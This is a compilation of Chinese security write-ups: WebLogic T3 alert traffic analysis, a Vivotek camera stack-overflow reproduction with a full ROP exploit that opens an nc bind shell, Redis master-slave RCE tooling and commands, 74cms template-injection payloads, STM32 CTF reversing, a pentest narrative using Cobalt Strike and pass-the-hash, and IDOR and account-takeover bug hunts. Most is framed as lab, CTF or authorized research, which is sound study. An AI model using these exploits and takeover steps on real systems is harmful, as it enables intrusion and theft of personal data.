基于某商产品WeblogicT3反序列化告警流量分析
前言
护网时平时遇到的针对weblogic等中间件漏洞利用以及漏洞扫描的很多,但是我看到某态势的流量的时候发现态势的探针的监测不单单是基于披露的poc或者exp来产生的告警。
这里一万多条告警。
环境搭建
这里我使vulhub复现几个cve来分析流量,这里的目的主要是对比wireshark、科*分析软件和某商安全设备的全流量的数据包告警分析。
cd CVE-2020-14882
docker-compose up -d
docker ps
http://192.168.166.130:7001/console/login/LoginForm.jsp
分析
直接使用wireshark抓包是无法抓取不到数据包的,原因是nat模式下不走网卡,所以这里涉及到了tips就是添加路由
route add 192.168.166.130 mask 255.255.255.255 192.168.0.1
用完删除
route delete 192.168.166.130 mask 255.255.255.255 192.168.0.1
但是此时似乎是没有用的,因为我们在进行漏洞利用的时候走的是http协议,传输层走的是tcp但是依旧是无法看到详细的流量数据。
设置虚拟机为桥接模式,再次尝试获取流量
已成功获取到数据流量。使用命令查看对目标攻击的所有流量
ip.addr==192.168.0.120
追踪一下tcp流
直接追踪t3流量,因为weblogic使用的协议为T3,当然态势内的漏洞监测也是基于t3协议来告警触发的。
上面两部分的内容是客户端和服务端的信息
t3 7.0.0.0
AS:10
HL:19
HELO:12.2.1.3.false
AS:2048
HL:19
MS:10000000
PN:DOMAIN
在使用paylaod的时候会给服务端发送请求,正常情况下我们能够找到的poc或者说exp的工作原理大部分都是基于版本来校验的
当然这里的环境版本为12.2.1.3.0
这里根据不通的流可以看出来。这一点儿的话其实可以根据python脚本的内容也能看出来校验机制,这一点儿跟很多厂商的漏扫的原理应该是一致的。
这里我执行了几条命令,来查看一下流量特征
whoami
ls
pwd
上传的shell.jsp文件做编码
序列化的部分就是在这一部分完成的
回头看一下某报警日志的流量
这里触发规则库的内容是由于探针监测到流量中存在序列化的操作就直接触发了,所以这个时候正常的日志也是会触发漏洞预警。
可能使用wireshark对tcp的交互看着不太清晰,使用科*网络分析
重新抓包
这是所有的攻击日志
可以看到tcp流中数据交互的流量包。
因为这里只显示数据块部分的数据,那么这里可以看到,同样文件上传的时候内容是分块传输的
分作了四个数据块进行传输。
安全设备的告警
上面是tcp部分流量
请求体内容
那么告警行为的触发已经不是基于weblogic正常利用时的流量了,此时只是在tcp的传输阶段就已经拒绝连接了。
思考
安全设备流量监控下的预警以及触发条件是基于全流量还是部分流量以及规则条件产生的,规则库基于POC以及EXP,但是可能不会考虑到是否有完整的利用链,所以用户的体验感就比较难受了。
vivotek栈溢出漏洞复现
一、前言
近日公司进了一批摄像头,以前还没有做过这方面的研究所以找了一个vivotek 2017年的栈溢出漏洞拿来练练手。
二、固件仿真
虚拟机环境:Ubuntu 20.04
gdb版本:GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
固件下载地址:https://github.com/mcw0/PoC/files/3128058/CC8160-VVTK-0100d.flash.zip
从上面的地址下载还有漏洞的固件,使用binwalk分离出来文件系统,发现问题文件httpd位于/usr/sbin目录下,使用file命令查看文件类型
因为是arm架构的所以没法在本地跑,使用QEMU模拟运行
因为QEMU模拟的环境不会挂载dev和proc,所以我们这边将固件系统的这两个目录挂载到虚拟机的dev和proc中。
sudo mount -o bind /dev ./squashfs-root/dev/
sudo mount -t proc /proc/ ./squashfs-root/proc/
再次运行httpd文件,发现这次报了其他的错误
打开ida定位报错语句的位置,可以看到/etc/conf.d/boa/boa.conf文件打开失败导致的
本地ls查看会发现conf.d是链接到/mnt/flash/etc/conf.d的,并且该目录为空
尝试在其他目录中寻找boa.conf文件,最终在如下的目录找到了它,将此目录下的/etc复制到/mnt/flash/目录下
再次运行httpd文件,发现报了如下错误
老办法通过IDA搜索报错字符串,定位到如下位置,可以发现报错原因是因为此程序中使用gethostname函数将主机名保存在rlimits中,并使用gethostbyname函数通过主机名找到IP地址。但是最终因为我们的主机名与固件中的主机名不同所以无法获取到IP地址。
这里我们可以通过hostname命令查看本机名,然后以我的本机名为例修改squashfs-root/etc/hosts中的内容
echo "127.0.0.1 amall-virtual localhost" > squashfs-root/etc/hosts
修改完成后再次运行httpd文件,可以看到已经成功启动
三、漏洞分析
我们根据poc来验证漏洞
echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" | netcat -v 127.0.0.1 80
验证成功,可以看到程序崩溃信息。我们根据poc可以了解到漏洞是在Content-Length中出现的,从IDA中搜索字符串然后查看交叉引用定位到漏洞位置所在
根据反汇编的代码我们可以了解到,程序在处理Content-Length字符串的内容时,使用strncpy函数保存从`:`到`\n`之间的字符串,但是可以看到其中并没有对长度进行检测导致了用户可以输入任意长度的字符串造成栈溢出。
四、漏洞复现
在arm的栈溢出中,我们首要考虑的就是如何劫持pc寄存器,而这个偏移可以通过动调获得。
看一下保护,开启了NX保护所以无法利用shellcode,考虑使用ROP来绕过NX保护。
为了能够查看程序的执行流程,这里选择将文件系统和gdbserver一起传到qemu虚拟机里,下面的内容根据[driverxdw](https://xz.aliyun.com/t/5054#toc-2)师傅的这篇文章整理得到。
从arm-debian的qemu镜像地址下载如下三个文件
https://people.debian.org/~aurel32/qemu/armel/vmlinuz-3.2.0-4-versatile
https://people.debian.org/~aurel32/qemu/armel/initrd.img-3.2.0-4-versatile
https://people.debian.org/~aurel32/qemu/armel/debian_wheezy_armel_standard.qcow2
在本地新建一张网卡用于和qemu虚拟机通信
sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 192.168.2.1/24
启动qemu虚拟机镜像
qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
启动成功后会让你输入用户名密码,默认用户名/密码:root/root,然后在qemu虚拟机中配置网卡信息,这样qemu虚拟机就可以和本地进行通信了
ifconfig eth0 192.168.2.2/24
接下来使用ftp把固件的文件系统get到qemu虚拟机中,此时我们就可以挂载/dev和/proc了。
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc/ ./squashfs-root/proc/
最后切换到固件的文件系统中,并运行漏洞文件
chroot squashfs-root sh
./usr/sbin/httpd
这时我们就可以开始调试工作了,采用gdb-multiarch&gdbserver的方式。但是在试过网上编译好的gdbserver以后都无法在远程target remote到,最后在[这篇文章](https://bbs.pediy.com/thread-220907.htm)中找到了答案,按照上面的步骤我编译了一份与我本地gdb版本相同的gdbserver-static,文件上传到github上了有需要的师傅可以自行下载。
github地址:https://github.com/AmaIIl/gdbserver-static-9.2-arm
有了对应版本的gdbserver就可以开始远程调试了,具体命令如下所示
./gdbserver-static 127.0.0.1:1234 --attach <server pid>
然后写一个gdbinit把重复的命令写进去方便调试
# gdb-multiarch -x gdbinit
file ./usr/sbin/httpd
set architecture arm
target remote 192.168.2.2:1234
我们将断点下在函数退栈的位置,然后计算其与输入地址的差值就可以得到溢出偏移。为了降低利用难度这里关闭qemu虚拟机的aslr保护,可以节省几步内存泄露的步骤。
sudo sysctl -w kernel.randomize_va_space=0
通过动调我们可以得到需要的所有条件:溢出偏移、栈地址、libc地址。但是要构造ROP还需要一些gadget,使用ropper搜索我们需要的gadget,最终我们需要构造的就是system("XXX")的效果,所以需要能控制pc和r0寄存器的gadget,同时因为程序漏洞使用strncpy函数所以gadget中不能含有零字符,所以最终选择了这两段gadget
0x00048784: pop {r1, pc};
0x00016aa4: mov r0, r1; pop {r4, r5, pc};
exp如下所示
from pwn import *
context.log_level = 'debug'
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()
p = remote('192.168.2.2', 80)
libc = ELF('./squashfs-root/lib/libc.so.0')
stack = 0xbeffeb64
base = 0xb6f2d000
system = base+libc.sym['system']
pop_r1_pc = 0x00048784+base
mov_r0_r1 = 0x00016aa4+base # mov r0, r1; pop {r4, r5, pc};
head = "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:"
payload = 'b'*(0x00003c-8)+p32(pop_r1_pc)+p32(stack)+p32(mov_r0_r1)+'b'*8+p32(system)
end = 'nc -lp 6666 -e /bin/sh;'+'\r\n\r\n'
sl(head+payload+end)
shell()
脚本执行成功后会开启6666端口,这时只要用nc远程连接即可getshell
五、总结
还是那个感觉,复现iot最难的步骤还是环境搭建。在gdbserver那里卡住了很久,本地编译也是各种报错,不过好在最后都一一解决了。2017年的这个栈溢出漏洞整体利用难度不算高,感兴趣的师傅们可以动手试着复现一下。
FOFA-攻防挑战记录
记录一下中途短暂的辉煌时刻
辉煌一刻谁都有,别拿一刻当永久
在昨天初尝战果之后,今天又习惯性的打开 https://vulfocus.cn/ 发现今天还有挑战赛,按捺不住躁动的心,又开始了学习。今天主要拿下的是这四个镜像,同时我也会对我了解的漏洞详情做一个具体的分析
weblogci CVE_2020_2551
我们看到了对应的端口有 7001
看到熟悉的界面以及之前察觉的端口信息,感觉有可能是 weblogic ,加上路径 console 查看一下,是 weblogic 10.3.6.0
weblogic 存在的漏洞太多了,所以我们直接上漏洞扫描工具
看到了漏洞对应的编号,以及存在的回显链路
phpinfo 信息泄露
打开界面就是一个 phpinfo
尝试了扫路径,查 phpinfo 漏洞的操作无果后,于是直接在页面上查找关键词 flag
轻易就查询到了 flag 的值,这个题目给 5 分 我是没有想到的
Redis 未授权访问漏洞
一看对应映射的端口是 6379 立马就联想到了 Redis,同时这个端口无法从 web 端进行访问,所以基本可以肯定是 Redis 了
注意到版本是 4.0.14
针对于 Redis 未授权访问漏洞,有以下利用方法
利用 Redis 写入webshell
写 ssh-keygen 公钥登录服务器
利用计划任务反弹shell
利用主从复制获取shell
这里我们选用 主从复制漏洞来获取shell
在服务器上操作(今天借到了服务器)
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
cd RedisModules-ExecuteCommand/
make
# 生成 /RedisModules-ExecuteCommand/src/module.so
cd ..
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt
python redis-rce.py -r 123.58.236.76 -p 57119 -L 43.142.138.251 -f module.so
利用主从复制获取shell
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。
Linux
在本机上弄的时候出现各种各样的奇葩的问题,给我整破防了,最后我采用了 docker 来进行复现。复现不同的利用都删掉 docker ,重启继续进行。最后发现主从复制的利用版本是 4.x-5.x,从 6.0开始,就无法利用成功,写入exp.so 也是可以的,module 加载时会失败,提示没有权限,给 exp.so 权限后时可以的。
sudo docker pull vertigo/redis4
sudo docker run -p 6379:6379 vertigo/redis4
redis-rce
https://github.com/Ridter/redis-rce
生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
cd RedisModules-ExecuteCommand/
make
# 生成 /RedisModules-ExecuteCommand/src/module.so
cd ..
git clone https://github.com/Ridter/redis-rce.git
cd redis-rce/
cp ../RedisModules-ExecuteCommand/src/module.so ./
pip install -r requirements.txt
python redis-rce.py -r 192.168.10.187 -p 6379 -L 192.168.10.1 -f module.so
redis-rogue-server
https://github.com/n0b0dyCN/redis-rogue-server
git clone https://github.com/n0b0dyCN/redis-rogue-server.git
cd redis-rogue-serve
python3 redis-rogue-server.py --rhost 192.168.10.187 --lhost 192.168.10.1
Redis主从复制手动挡
import socket
from time import sleep
from optparse import OptionParser
def RogueServer(lport):
resp = ""
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(("0.0.0.0",lport))
sock.listen(10)
conn,address = sock.accept()
sleep(5)
while True:
data = conn.recv(1024)
if "PING" in data:
resp="+PONG"+CLRF
conn.send(resp)
elif "REPLCONF" in data:
resp="+OK"+CLRF
conn.send(resp)
elif "PSYNC" in data or "SYNC" in data:
resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF
resp += "quot; + str(len(payload)) + CLRF
resp = resp.encode()
resp += payload + CLRF.encode()
if type(resp) != bytes:
resp =resp.encode()
conn.send(resp)
#elif "exit" in data:
break
if __name__=="__main__":
parser = OptionParser()
parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT")
parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so", default="exp.so",metavar="EXP_FILE")
(options , args )= parser.parse_args()
lport = options.lp
exp_filename = options.exp
CLRF="\r\n"
payload=open(exp_filename,"rb").read()
print "Start listing on port: %s" %lport
print "Load the payload: %s" %exp_filename
RogueServer(lport)
redis-cli -h 192.168.10.187
> ping
> config set dir ./ # 设置redis的备份路径为当前目录
> config set dbfilename exp.so # 设置备份文件名为exp.so,默认为dump.rdb
> slaveof 192.168.10.1 9999 # 设置主服务器IP和端口
> module load ./exp.so # 加载恶意模块
> slaveof no one # 切断主从,关闭复制功能
> system.exec 'whoami' # 执行系统命令
> config set dbfilename dump.rdb # 通过dump.rdb文件恢复数据
> system.exec 'rm ./exp.so' # 删除exp.so
> module unload system # 卸载system模块的加载
windows
Redis 官方没有提供 windows 版的安装包,windows 下使用的 Redis 还是 3.X 版本的。 redis 在写文件的时候会有一些版本信息以及脏数据,无法写出正常的DLL、EXE、LINK 等文件,所以 对 Windows 下的 redis 的利用方法主要是往 web 目录写马以及写启动项。
RedisWriteFile
https://github.com/r35tart/RedisWriteFile 利用Redis的主从同步写数据,脚本将自己模拟为master,设置对端为slave, master 数据空间保证绝对干净,轻松实现了写无损文件。
参考文章 http://r3start.net/index.php/2020/05/25/717 https://xz.aliyun.com/t/7940可以利用以下方式
系统 DLL劫持 (目标重启或注销)
针对特定软件的 DLL 劫持(目标一次点击)
覆写目标的快捷方式 (目标一次点击)
覆写特定软件的配置文件达到提权目的 (目标无需点击或一次点击)
覆写 sethc.exe 等文件 (攻击方一次触发)
mof 等
因为对这些暂时还没有研究,所以在这里只演示以下,在 windows redis 写无损文件
python RedisWriteFile.py --rhost=[target_ip] --rport=[target_redis_port] --lhost=[evil_master_host] --lport=[random] --rpath="[path_to_write]" --rfile="[filename]" --lfile=[filename]
python3 RedisWriteFile.py --rhost=192.168.10.190 --rport=6379 --lhost=192.168.10.1 --lport=9999 --rpath="C:\Users\Public" --rfile="test.txt" --lfile="test.txt"
哇,这个无损写文件真是 yyds,在 linux 下利用也是没有一点问题。
骑士cms 存在模板解析漏洞
打开页面就是 骑士cms,想到了骑士 cms 的历史漏洞 文件包含漏洞(thinkphp3 的文件包含)
这样操作
http://74cms.test/index.php?m=home&c=index&a=assign_resume_tpl
POST:
variable=1&tpl=<?php phpinfo(); ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>
http://74cms.test/index.php?m=home&c=index&a=assign_resume_tpl
POST:
variable=1&tpl=data/Runtime/Logs/Home/22_06_28.log
漏洞的原理主要是通过将代码通过报错信息写到日志文件中,再利用文件包含实现代码执行。
一次edu证书站的挖掘
前言
最近edusrc上了新证书,这不得安排他一手。
确定目标
话不说信息收集一手,直接打开fofa,使用语法title="XXX大学",找到了一个系统
看到登录框,可能大家都会先进行弱口令的爆破,可能是我脸黑,遇到这种我就没有一次能爆破出来的,所以我比较喜欢测试未授权访问,这里我随便输了个账号密码
返回抓取这个接口的返回包,返回包里返回了500
这里我把它改成了两百,能进去系统,但是没有任何的数据信息
然后我直接F12查看源代码,找到了一处路由,/EmployeeManager,将他拼接在网址后面
访问
直接一手未授权访问,中危到手,原本想着提交上去手工了的,但一看证书兑换条件,得两个中危,这不是为难我胖虎吗,没办法就能继续加班,于是我利用了刚才获取到的用户名密码登录
登录进去后有一个个人承诺,需要点了同意才能下一步,让后点击同意进行抓包
接口返回了用户的sf证和密码,接着把EmployeeID=000005 改成000006
又是一个水平越权,泄露了用户敏感信息,中危有应该是稳了,然后我注意到了这个系统是区分管里员和普通用户的,就是一个前端可以选择角色类型进行登录,然后我想到能不能用普通用户的账号密码登录,然后越权到管理员的权限,在登录时进行抓包
拦截这个接口的返回包
把QX改成管理员,然后放包
可以看到已经越权成了管理员的sf
结束
都是很常规的漏洞,最重要的就是细心了。
CTF竞赛题解:stm32逆向入门
固件安全
一、前言
本日学习记录
二、复现
1、SCTF 2020 Password Lock
参考链接:https://xuanxuanblingbling.github.io/iot/2020/07/08/stm32/
题目描述
这是一个STM32F103C8T6 MCU密码锁它具有4个按键,分别为1, 2, 3, 4. 分别对应GPIO_PA1, GPIO_PA2, GPIO_PA3, GPIO_PA4flag1格式为SCTF{正确的按键密码}输入正确的密码, 它将通过串口(PA9–TX)发送flag2
解题思路
题目附件给出了一个Intel hex文件,并且给出了芯片信息我们可以确定程序的内存布局和外设寄存器与内存的对应。而逆向的关键就是读懂程序代码的含义,接下来我们将逐步分析这个hex文件。
1. hex文件结构
Intel hex文件格式由纯文本构成,其中包含了程序的加载地址和程序入口地址等信息,读懂这些信息可以帮助我们快速定位程序的起始入口而不用在ida中进行配置。
https://www.cnblogs.com/aqing1987/p/4185362.html
我们可以使用文本编辑器打开题目附件,其中关键信息如下所示:
:020000040800F2
...
...
:04000005080000ED02
:00000001FF
程序加载地址为0x08000000
程序入口地址为0x080000ED
程序以:00000001FF结尾
其余全是文件数据
2、内存布局
查找芯片手册的网站:https://www.alldatasheet.com/在里面我们可以找到STM32F103C8T6的手册,第一页发现我们需要的一些信息
Flash memory:32-to-128 Kbytes
SRAM:6-to-20 Kbytes
31页的Memory Map可以让我们更加直观的了解到内存的详细布局
综上所述我们得到了程序的完整内存布局信息:
Flash Memory: 0x8000000 ~ 0x801FFFF (128K)
SRAM: 0x20000000 ~ 0x20004FFF (20K)
Peripherals: 0x40000000 ~ 0x40023400
3、IDA分析
经过刚才的分析我们了解了程序的内存布局,其中Flash段除了包含代码,还有中断向量表。Periphers段中的寄存器是我们在逆向过程中需要对齐有大体了解。而对于hex文件的分析我们了解到除了加载地址和入口地址,其他的所有内容都不在hex文件中,所以我们需要手动配置这些内存布局信息来告诉IDA怎么识别。 打开ida工具,根据刚才的手册中我们可以查到芯片是arm32 Armv7-M架构,如下图所示进行配置选择然后单击ok
可以看到已经能识别出一部分函数,其中start函数的地址与我们分析hex文件结构时找到的程序入口地址相同。
如果hex文件中没有给出入口地址信息我们也可以通过寻找RESET中断处理函数来确定程序入口函数。其中RESET中断函数的地址可以在https://xuanxuanblingbling.github.io/assets/attachment/stm32/STM32%E4%B8%AD%E6%96%87%E5%8F%82%E8%80%83%E6%89%8B%E5%86%8CV10.pdf中找到相关信息
参考 https://blog.csdn.net/yangzhao0001/article/details/73293379 中我们可以了解到在中断向量表中RESET的地址0x8000004的地址是固定的,而可变的是程序的加载地址。我们跳转到0x8000004这个地址上,按键盘D键将上面的数据分成4字节形式找到reset的地址为0x8000101
跳转到RESET中断处理函数,存在两次跳转。第一次跳转到nullsub_1上并将下一条指令地址放入LR寄存器,nullsub_1函数的作用是跳回LR寄存器中的地址,所以第一跳没有意义。第二次跳转就是我们的start地址,所以完全可以利用此方式定位到程序的入口地址。
一直跟着入口地址走就能找到这个程序的main函数所在,但是进来之后可以发现左边这一大片红色的标记,观察这些红色区域其实就是IDA没有识别的地址,也就是我们之前分析内存布局需要添加的内存段。
我们在IDA中新建Segment,如下图所示:
这时只要我们再次点击F5即可让这些红色的标识变成正常识别的内存了
4、修复中断向量表
使用IDApython恢复程序入口地址之前的信息
for i in range(0x8000000,0x80000eb,1):
del_items(i)
for i in range(0x8000000,0x80000eb,4):
create_dword(i)
修复完成后我们观察这里面的地址,会发现有很多重复的地址0x800016D,跟进去会发现这些地址中没有定义函数功能。继续查看中断向量表会发现下面几个不同的内存地址
参考 https://xuanxuanblingbling.github.io/assets/attachment/stm32/STM32%E4%B8%AD%E6%96%87%E5%8F%82%E8%80%83%E6%89%8B%E5%86%8CV10.pdf中的内容我们可以查找到这些就是EXTI的中断处理函数地址
https://bbs.huaweicloud.com/blogs/326866
跟进这些函数地址会发现IDA并没有将其识别为函数,所以我们先在函数起始地址处按P键,然后进行反汇编即可看到这些中断处理函数,这里我以EXTI_4的中断处理函数为例来简单介绍一下这些中断处理函数的功能。
int EXTI_4()
{
int result; // r0
EXTI_LINE = 16;
switch ( sum )
{
case 1:
unk_20000006 = 116;
return sum++ + 1;
case 2:
unk_20000010 = 95;
return sum++ + 1;
case 4:
unk_2000000E = unk_20000001;
return sum++ + 1;
default:
result = 0;
sum = 0;
break;
}
return result;
}
程序一开始先设置了中断/事件线,EXTI_4的中断/事件线为0x10,然后使用一块内存(这里记作sum)来作为累加数的保存位置。我们可以看到当sum中的值为1、2、4时sum的值会+1,如果不是的话则会重新开始。所以我们可以判断出1、2、4就是EXTI_4出现在密码中的位数,同理其他的三个按钮也是一样的,通过这些顺序我们可以得到最终的flag为flag{1442413},并且我们可以发现在main函数中程序先模拟输入了一次密码,通过将上面的值与EXTI_LINE进行对应也能得到flag值。
2、2021 HWS 入营赛-STM32
经过了上一题的入门接下来我们再来一道题目练习一下,打开IDA类型选择小段arm32,架构选择ARMv7-M架构。
接下来设置程序的加载地址和读取地址设置为0x8000000,加载地址是指IDA加载的分析地址是多少,而Input File是指固件要从什么位置开始加载,设置好以后我们点击OK完成设置。
进入以后会发现IDA没有识别出任何函数,不用担心我们可以通过定位reset的中断处理来找到main函数的位置。将0x8000004地址处的字节变成4字节,得到reset中断处理函数地址0x8000101。
可以发现地址的结尾是奇数位,在arm中这代表了thumb模式。我们可以在0x8000101地址按下C键即可生成代码
一直跟着程序流走我们就能找到main函数所在位置sub_80003C0,并且在其中发现了需要逆向的函数sub_8000314
_BYTE *sub_8000314()
{
_BYTE *v0; // r4
char *v1; // r5
int v2; // r6
char v3; // t1
v0 = (_BYTE *)sub_80003F0(48);
v1 = &byte_8000344;
v2 = 0;
while ( v2++ != 0 )
{
v3 = *v1++;
*v0++ = (v3 ^ 0x1E) + 3;
sub_8000124(v1);
}
return v0;
}
写出解题脚本即可获得flag值
li = [0x7D, 0x77, 0x40, 0x7A, 0x66, 0x30, 0x2A, 0x2F, 0x28, 0x40, 0x7E, 0x30, 0x33, 0x34, 0x2C, 0x2E, 0x2B, 0x28, 0x34, 0x30, 0x30, 0x7C, 0x41, 0x34, 0x28, 0x33, 0x7E, 0x30, 0x34, 0x33, 0x33, 0x30, 0x7E, 0x2F, 0x31, 0x2A, 0x41, 0x7F, 0x2F, 0x28, 0x2E, 0x64]
print(''.join(chr((i ^ 0x1E) + 3) for i in li))
实战回忆录:从Webshell开始突破边界
正文
某授权单位的一次渗透,由于使用的php框架,某cms的上传,从实现webshell开始。
详情
添加监听,生成木马文件更改应用程序名称隐藏上线。
修改休眠时间为10秒
查看主机名whoami
抓取明文密码
果然权限不够,提权
各种土豆尝试一波提权,根据补丁的话没搜到,winserver2012的提权这里ms16-075是可以的,但是奇怪的是CS未上线,上传脚本上线CS
然而并没有上线,试错的成本是高的
查询一下winserver 2012的版本提权,上传了多个脚本不行,CS的插件刚好碰到,其实第一次尝试的时候不知道为什么是失败的,真是奇怪了
重新起一个监听
继续提权,ms-058是可以提权
第二次才成功提权
修改睡眠时间,不建议太长也不建议太短,抓取明文密码
成功抓取到明文密码,尝试能不能远程登录,因为前期信息搜集的时候3389是开的。
成功登录
尝试写定时任务进项权限维持,这里的话选择计划任务或者dll劫持类的其实都可以,这里我选择的是计划任务,毕竟授权项目也不担心其他的问题,根据前面的systeminfo信息此时我们相当于已经拿到了域控的权限,可以继续进行内网横向和域渗透
该网段的pc比较少,内网一般都有其他ip,直接扫描B段
获取到大量的内网终端信息,但是win10居多,win10的445端口的利用一般都会被拦掉,直接扫描有没有服务类的,如ftp
虚拟终端可执行,但无回显,只能远程上去
内网存在大量终端,但是没有服务器,服务器的话就只有这一台,小的域,那么这个时候内网的网络拓扑大致是有了,445的话内网存在大量主机开放
但是尝试了几个利用都没成功,基本上winserver的服务器的话拿到shell的概率可能比较高,win10的主机之前也没成功过,这次也未成功拿到shell
根据获取到的明文密码,密码喷洒来进行爆破
得到某些账户的密码。
查询当前登录的域用户
根据前面查询的主机名确定主机ip地址为192.168.0.119,pth上线完事儿。
小结
不清楚是不是蜜罐,但是内网的基本上没什么服务器,域的话用户量也不大,反正写报告交差就完事儿了。
记一次有趣的逻辑漏洞挖掘
今天又是一个挖洞的好日子,哈哈哈哈~
发现一个系统,进去瞅瞅...
随便输入手机号和验证码,抓包,修改返回包
继续抓包并拦截,看到生成了一个openid
继续抓包,看到手机号和openid在请求包中,因为是无效的手机号,虽然可以绕过验证码校验,但是肯定不能是不能进入系统的嘛,此时想到去网上找一个有效账号
谷歌语法走一波,发现了一些有用的东西,赶紧保存
从中挑选一个手机号进行替换,然后放包,查看前端页面,没有任何反应
发送到repeater模块看看,结果看到了这个手机号对应的个人信息,通过替换手机号,可看到大量用户的敏感信息,不仅是越权,还是未授权
到这还没结束,因为系统还没进去呢,此时抱着试一试的心态随机修改openid字段,将最后的字符换了,放包,发现竟然进去系统了,又懵又喜啊
到这里后继续抓包,又发现一个有意思的包,赶紧尝试越权测试,修改body中的数字,看依一下响应,果然可以越权,哈哈哈,一般管理员的id不是0就是1 ,改成1试一下看能不能越权到管理员,我去,1就是管理员
重复上面进入系统的方法,修改openid和替换管理员手机号,最终拿到了管理员的权限
拿到管理员还不是为所欲为,哈哈哈.......
今天的分享就到这了。
记一次高校学生账户:从无到有
本次记录,意在表明信息收集的强大之处和引起高校对网络安全的重视!看看是如何从无到有的拿到学生账户…
在了解思路过后,可能会被各位大师傅吹…
狗头保命~~~~
0x01:先看看这个窗口
http://Http://xxx.xxx.xxx.xxx/login
发现密码要么是邮箱找回,要么是手机找回….
0x02
到现在的思路,大概是
1. 手机验证码爆破,前提:知道学号+手机号+重置密码是发送验证码而不是连接
2. 邮箱验证码爆破,前提:知道学号+邮箱+重置密码是发送验证码而不是连接
上面的两种思路,多半悬….
(因为我是先挖好了洞,才写的文章,
所有我事先是知道了学号 +手机号….)
验证码处做了校验….这条路堵住了….
0x03: 看看如何做的信息收集…..
(做信息收集的过程,一定要学会常见的excel来进行数据的清洗….,寻找到我们有用的账户…)
Google大法…
再经过长达半个小时的搜索,我发现了这样一个公告,没错就是这个公告,让我有了突破的方向…
3、电子邮件的用户名为:学号@xxx.xxx.xxx.cn,初始密码为:xxxx+身份证上生日8位(年月日)。Xxxx.xxx..xxx。
4、网上办事服务大厅账号信息里的电子邮件已默认绑定为学生的电子邮件账户
账户的获取不一定要找到用户的密码,改密码也是一种思路,只要能够登录进去,那就什么好说…
从看到这个公告开始,我们的大致思路已经确立起来….
具体的思路:
寻敏感信息---然后通过邮箱去重置她的密码---最终拿到统一身份的账户
继续google,发现一处敏感信息泄露….泄露数量100条左右
这里有个点提醒下:可能很多学生会修改统一身份认证的密码,但是很多学生绝对不会去改学生邮箱的密码,常常习惯用手机号获取验证码改密码…
而我们改她的密码 使用邮箱改密码….
找到它的邮箱,进行登录好家伙,登录成功….
0x04:
进统一身份认证了….
然后我们摸进统一身份认证了….
于是
总结:
1. 总的来说,方法还是依旧是原来的方法,不一样的是,仔细细心…
2. 用于不要低估一个账户所带来的危害,哪怕是低权限的账户,也能把它的毛薅的一干二净…,比如这样….
3. 改密码的方式有很多,但是推荐使用手机号改密码,永远不要把密码规则公布出来,谁知道会发生什么呢?
4. 信息收集yyds, 从一位大师傅树立了这样一个观点:渗透测试的过程,就是从信息收集对抗的过程。内网也不例外!!如果收集到很多主机的账户密码,横向的过程就变成了不停的输入账户密码的过程…而且动静还很小…
Active Directory之AD对象
1、概述
在这篇文章中,我们将讨论不同的 Active Directory 对象及其基本概念,例如:
为什么域中需要 Active Directory 对象
如何创建它们?
如何枚举 Active Directory 对象
Active Directory 对象
Active Directory 对象是一组表示域中资源的属性。每个 Active Directory 对象都由唯一的 SID(安全标识符)标识,被用来允许或拒绝对域中各种资源的访问。让我们讨论一些属于 Active Directory 的 AD 对象。
2、User Objects (用户对象)
用户对象被分配给域用户帐户,用于获取域资源的访问权限。如果您拥有管理用户对象所需的权限,则可以从 Active Directory 用户和计算机控制台管理这些对象。用户帐户也用于运行程序或系统服务,并由用户SID识别,这与域SID类似,它由域SID和用户RID(相对标识符)组成。
PS C:\Users\scarred.monk> Get-ADUser Scarred.Monk DistinguishedName : CN=Scarred Monk,CN=Users,DC=rootdse,DC=lab Enabled : True GivenName : Scarred Name : Scarred Monk ObjectClass : user ObjectGUID : 2ba8220b-63db-4dda-b6de-095a7fa0da24 SamAccountName : Scarred.Monk SID : S-1-5-21-580985966-21152388
用户对象的 SID
在用户的 SID 值中,S-1-5-21-580985966-2115238843-2989639066 是域 SID(安全标识符),1107 是唯一标识它的用户 RID(相对标识符)。
一个SID可以分为以下几个部分:
(SID)-(Revision Level)-(Identifier-Authority)-(Sub-Authority1)-(Sub-Authority2)...-(RID)
微软对SID组成部分的描述:
SID:SID 中的 S 将上述字符串标识为 SID
Revision level:SID 结构的修订版本。迄今为止,这从未改变过并且一直是 1
